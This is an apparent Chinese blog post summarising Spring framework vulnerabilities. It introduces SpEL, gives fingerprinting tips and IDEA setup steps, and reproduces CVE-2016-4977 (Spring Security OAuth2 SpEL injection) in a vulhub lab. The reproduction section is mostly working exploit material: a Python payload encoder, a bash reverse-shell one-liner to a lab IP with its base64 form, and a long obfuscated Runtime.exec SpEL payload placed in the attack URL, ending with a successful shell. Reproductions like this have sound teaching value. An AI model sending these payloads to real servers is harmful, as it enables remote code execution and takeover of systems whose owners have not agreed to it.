Spring简介 Spring是Java EE编程领域的一个轻量级开源框架,该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架。
2009年9月Spring 3.0 RC1发布后,Spring就引入了SpEL (Spring Expression Language)。类比Struts2框架,会发现绝大部分的安全漏洞都和OGNL脱不了干系。尤其是远程命令执行漏洞,这导致Struts2越来越不受待见。
因此,Spring引入SpEL必然增加安全风险。事实上,过去多个Spring CVE都与其相关,如CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等。
SpEL是什么
SpEL(Spring Expression Language)是基于spring的一个表达式语言,类似于struts的OGNL,能够在运行时动态执行一些运算甚至一些指令,类似于Java的反射功能。就使用方法上来看,一共分为三类,分别是直接在注解中使用,在XML文件中使用和直接在代码块中使用。
SpEL原理如下∶
- 表达式:可以认为就是传入的字符串内容
- 解析器︰将字符串解析为表达式内容
- 上下文:表达式对象执行的环境
- 根对象和活动上下文对象∶根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/4871daa52a174255b6f778463ae258e1.jpg)
文章图片
2.看报错页面,如果默认报错页面没有修复,那就是长这样
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/a8a98e231b7f49c7a975b32ec70c4448.jpg)
文章图片
3.wappalyzer插件识别
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/3e0f26941aef474887bf78e5a5c34c05.jpg)
文章图片
4.f12看X-Application-Context头
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/57c994b6038941eb9f6e2a8cf18328b8.jpg)
文章图片
本地环境搭建 安装IDEA
官网下载安装包 :https://www.jetbrains.com/idea/download/#section=windows
这里选择得商业版,免费试用30天
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/71de97cbb8df43588c6d4dcdd8616527.jpg)
文章图片
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/f2e6000c31604254a97af8db1e0d831a.jpg)
文章图片
安装目录默认
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/e31b6d97d4bb402dba971664324597b5.jpg)
文章图片
报错不用管,点击确认,一直默认下一步
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/63d51a3434a74bc3a5c54b6876756d20.jpg)
文章图片
双击下图图标
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/3480cc36d080436e996997c846491deb.jpg)
文章图片
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/889a561444a8451a9d98729af72e578f.jpg)
文章图片
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/dc153f662fdf42f7959afe0316944830.jpg)
文章图片
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/409b4871bbc84e46801d34a75475d8e4.jpg)
文章图片
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/52935e01d3ab40a7b6e8a3dd5c6e5e68.jpg)
文章图片
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/56f07c988d9e42f293a3645f14f48573.jpg)
文章图片
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/c6ce2c41adad4f6c969f80acd0f82afc.jpg)
文章图片
选择Download SDK
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/81b2f5f037b04bb388b6d81e612cac3e.jpg)
文章图片
选择jdk1.8
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/94d518acbbea4f5b9f10d833b813ca26.jpg)
文章图片
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/a8f8023f2254438e8bd7f506fd6ff4e3.jpg)
文章图片
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/3323da9abd05460caecc8417d69a6035.jpg)
文章图片
点next
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/b3b666f98289490a9acab80e35b5ffe7.jpg)
文章图片
点击Spring Web
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/b8cad7897a4447ea920fb367991d9193.jpg)
文章图片
等待安装
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/dbc674b160f749969d6b9db643aaa4a9.jpg)
文章图片
点击右上角启动,可以看见默认端口8080
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/4bf423e0eb0d4b78831a2a7a1dce0d87.jpg)
文章图片
成功访问,部署成功
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/a0dc1d998ea442d4b62455d762c55026.jpg)
文章图片
这里复现的环境搭建均采用p牛的vulhub靶场环境。
Spring渗透总结 1.Spring Security OAuth2 远程命令执行(CVE-2016-4977)
漏洞简介 Spring Security OAuth2是为Spring框架提供安全认证支持的一个模块。Spring Security OAuth2处理认证请求的时候如果使用了whitelabel views,response_type参数值会被当做Spring SpEL来执行,攻击者可以在被授权的情况下通过构造response_type值也就是通过构造恶意SpEL表达式可以触发远程代码执行漏洞。故是在需要知道账号密码的前提下才可以利用该漏洞。
影响版本
2.0.0-2.0.9
1.0.0-1.0.5
漏洞验证 启动漏洞
【spring|【网络安全】Spring框架漏洞总结(一)】
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/82453e3f60d04e3fba037febf4c50e49.jpg)
文章图片
访问url
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/2b81ba76013c4b0db82fc98070d9806e.jpg)
文章图片
输入下面的漏洞测试url:
http://192.168.173.144:8080/oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test
访问后会弹窗,输入用户名和密码 admin:admin即可,返回结果可以看到值被成功计算为2*2=4
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/7fb4a2efe09f4510a78dac6db0c62f29.jpg)
文章图片
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/82a1e99778f6451bbf748cbdce8b72a2.jpg)
文章图片
页面返回执行了我们输入的SpEL表达式,这里可以看作是SpEL表达式的注入,既然表达式被执行了,我们可以考虑代码注入的可能性。
漏洞复现 这里看一下vulhub提供的poc,poc地址: https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/poc.py
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/f1ccdc4f19c34f83b85d9f410be98d3f.jpg)
文章图片
可以看出该poc对输入的命令进行了变形,将命令的每个字符串转化为ASCII码配合tostring()方法并且用concat拼接传入exec执行。
反弹shell:
对于poc需要先进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符,重定向,空格,管道符都有可能造成错误
在线生成有效载荷的网站:http://www.jackson-t.ca/runtime-exec-payloads.html
bash -i >& /dev/tcp/192.168.173.133/1234 0>&1bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/1ca4d028f81b4c32aff99831a5a82650.jpg)
文章图片
生成poc
${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/ffe3119628b24c79b21c51aea6ca24ac.jpg)
文章图片
修改后的url:
http://192.168.173.144:8080/oauth/authorize?response_type=${poc的位置}&client_id=acme&scope=openid&redirect_uri=http://test
http://192.168.173.144:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}&client_id=acme&scope=openid&redirect_uri=http://test
监听端口:
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/7fb74f46f0204a6196347eef676e5286.jpg)
文章图片
执行url,看见如图的显示页面说明已成功执行:
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/65cf7cf4b2554e5488425f5eff5108f2.jpg)
文章图片
![spring|【网络安全】Spring框架漏洞总结(一)](https://img.it610.com/image/info8/ce82812451124090b5fecef78cd0edf4.jpg)
文章图片
反弹shell成功。
推荐阅读
- spring|Spring Boot Actuator 漏洞复现合集
- Spring学习|Spring boot项目Fortify漏洞扫描问题解决
- 框架漏洞|Spring MVC漏洞合集
- 安全|【组件攻击链】一文看懂Spring全家桶各类RCE漏洞
- spring|Spring Security OAuth2 远程代码执行漏洞分析(CVE-2016-4977/CVE-2018-1260)
- java|Spring框架JDN注入漏洞信息及排查方法
- 网关|突发!Spring Cloud 爆高危漏洞。。赶紧修复!!
- HarmonyOS|HarmonyOS开发详解(二)——鸿蒙开发体系详解及入门实例演示运行
- 突发!Spring 也沦陷了。。。